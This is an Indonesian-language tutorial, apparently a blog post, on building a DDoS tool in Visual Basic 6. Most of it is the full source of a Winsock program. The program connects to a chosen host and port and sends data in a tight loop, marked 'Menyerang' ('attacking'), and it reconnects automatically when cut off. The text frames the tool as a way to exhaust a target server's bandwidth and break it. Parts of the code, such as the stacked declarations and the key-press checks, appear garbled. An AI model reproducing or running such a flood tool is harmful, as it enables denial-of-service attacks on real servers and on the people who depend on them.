Membuat Sendiri DDoS Tool Dengan Visual Basic 6 Saat ini banyak bertebaran DDoS Tool yang bisa kita jumpai di dunia maya ini. DDoS ( Distributed Denial of Service ) adalah sebuah tipe serangan dari hacker yang sangat mematikan. Prinsip kerja dari DDoS adalah kita akan mengirimkan sejumlah perintah berulang ulang dalam waktu yang relatif cepat ke server target. Tujuan dari DDoS adalah dengan menghabiskan bandwith dari server target. Sehingga nantinya server akan mengalami kerusakan.
Untuk keterangan selanjutnya tentang DDoS silakan sobat googling saja. Dalam Visual Basic 6 kita bisa memanfaatkan kontrol winsock untuk membuat sendiri DDoS Tool yang sangat powerfull. Winsock adalah sebuah kontrol yang mampu masuk ke jaringan dengan melalui protokol yang sudah diatur. Untuk memulainya silakan ikuti langkah berikut : 1. Buka Visual Basic 6 sobat. Buat project baru, masukkan componen Microsoft Winsock Control 2. Masukkan coding berikut
Dim FILENAME As String, listItem As String Private Private Private Private Private
TransferRate As Single TransferRate2 As Single Xstart As Long Ystart As Long m_objIpHelper As CIpHelper
'Deklarasikan fungsi API untuk mengeksekusi suatu 'Hyperlink Private Declare Function ShellExecute _ Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd _ As Long, ByVal lpOperation As String, ByVal lpFile _ As String, ByVal lpParameters As String, ByVal _ lpDirectory As String, ByVal nShowCmd As Long) As Long Const SW_SHOWNORMAL = 1 'Konstanta untuk menampilkan 'jendela normal Private Sub CMDMULAI_Click() TXTURL.Text = Replace(TXTURL.Text, "http://", "") Sock.Close Sock.Connect TXTURL, TXTPORT Timer1.Enabled = True SIMPAN_PESAN On Error Resume Next Timer1.Interval = TXTWAKTU.Text End Sub Private Sub CMDSTOP_Click() Sock.Close Timer1.Enabled = False lblStatus.Caption = "Putus" lblStatus.ForeColor = &HFFFFFF LBLWARN.Caption = "Menunggu perintah" Timer2.Enabled = False End Sub Private Sub Form_Load() Timer1.Interval = TXTWAKTU.Text LOAD_PESAN 'Fungsi penggunaan badwith internet
Set m_objIpHelper = New CIpHelper End Sub Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) LBLSITUS.ForeColor = &HFFFF& End Sub Private Sub Form_Unload(Cancel As Integer) Sock.Close End End Sub Private Sub LBLSITUS_Click() Dim situs As Long 'Tampilkan program default untuk membuka situs ke 'alamat lblSitus situs = ShellExecute(0, vbNullString, _ LBLSITUS, "", "", vbNormalFocus) LBLSITUS.ForeColor = &H8000& 'Setelah diklik, berubah 'warna End Sub Private Sub LBLSITUS_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) LBLSITUS.ForeColor = &HFF& LBLSITUS.MousePointer = 2 End Sub Private Sub MNUUP_Click() FRMUP.Show End Sub Private Sub SocK_Close() lblStatus.Caption = "Putus" End Sub Private Sub SocK_Connect() lblStatus.Caption = "Tersambung" End Sub
Private Sub SocK_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) Sock.Close lblStatus.Caption = "Soket error" End Sub Private Sub Timer1_Timer() Dim DATA As String DATA = TXTDATA.Text If Sock.State = sckConnected Then Do On Error GoTo REMUK Sock.SendData DATA lblStatus = "Menyerang" lblStatus.ForeColor = &HFF00& LBLDATA.Caption = Sock.SocketHandle DoEvents lblSent.Caption = lblSent.Caption + 1 Loop REMUK: LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..." Timer2.Enabled = True Else CMDSTOP_Click Timer2.Enabled = True LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..." End If End Sub Private Sub Timer2_Timer() LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..." If Timer2.Interval = 2000 Then CMDMULAI_Click Timer2.Enabled = False LBLWARN.Caption = "Asyik ... terkoneksi lagi ... dech!!"
End If End Sub Private Sub tmrPoll_Timer() tmrPoll.Enabled = False On Error GoTo ErrH Dim objInterface As CInterface Static lngBytesRecv As Long Static lngBytesSent As Long Dim lIn As Long, lOut As Long Set objInterface = m_objIpHelper.Interfaces(1) lIn = m_objIpHelper.BytesReceived - lngBytesRecv - 3296 lOut = m_objIpHelper.BytesSent - lngBytesSent - 3296 If lIn < 0 Then lIn = 0 If lOut < 0 Then lOut = 0 LBLDOWNLOAD.Caption = "DL: " & GetTransferRate(lIn) & "/sec" LBLUPLOAD.Caption = "UL: " & GetTransferRate(lOut) & "/sec" picGraph.ScaleMode = 3 DrawUsage picGraph, lIn, lOut lngBytesRecv = m_objIpHelper.BytesReceived lngBytesSent = m_objIpHelper.BytesSent DoEvents tmrPoll.Enabled = True Exit Sub ErrH: tmrPoll.Enabled = True Debug.Print Err.Description End Sub Function GetTransferRate(pDiff As Long) As String Dim d As Double d = pDiff / 1024 If d < 1024 Then GetTransferRate = Trim(Format(d, "#,##0.00")) & " Kb" Exit Function End If
' Mbytes d = pDiff / 1024 GetTransferRate = Trim(Format(d, "#,##0.00")) & " Mb" End Function Private Sub TXTPORT_KeyPress(KeyAscii As Integer) If Not (KeyAscii >= Asc("0") & Chr(13) _ And KeyAscii <= Asc("9") & Chr(13) _ Or KeyAscii = vbKeyBack _ Or KeyAscii = vbKeyDelete _ Or KeyAscii = vbKeySpace) Then Beep KeyAscii = 0 End If End Sub Private Sub TXTWAKTU_KeyPress(KeyAscii As Integer) If Not (KeyAscii >= Asc("0") & Chr(13) _ And KeyAscii <= Asc("9") & Chr(13) _ Or KeyAscii = vbKeyBack _ Or KeyAscii = vbKeyDelete _ Or KeyAscii = vbKeySpace) Then Beep KeyAscii = 0 End If End Sub Sub LOAD_PESAN() FILENAME = App.Path & "/PESAN.txt" TXTDATA.Text = "" On Error Resume Next Open FILENAME For Input As #1 Do While Not EOF(1) Input #1 & vbNewLine, listItem 'If Not (listItem = "") Then TXTDATA.Text = listItem 'End If Loop
Close #1 End Sub Sub SIMPAN_PESAN() Open App.Path & "/PESAN.txt" For Output As #1 Print #1, TXTDATA.Text Close End Sub
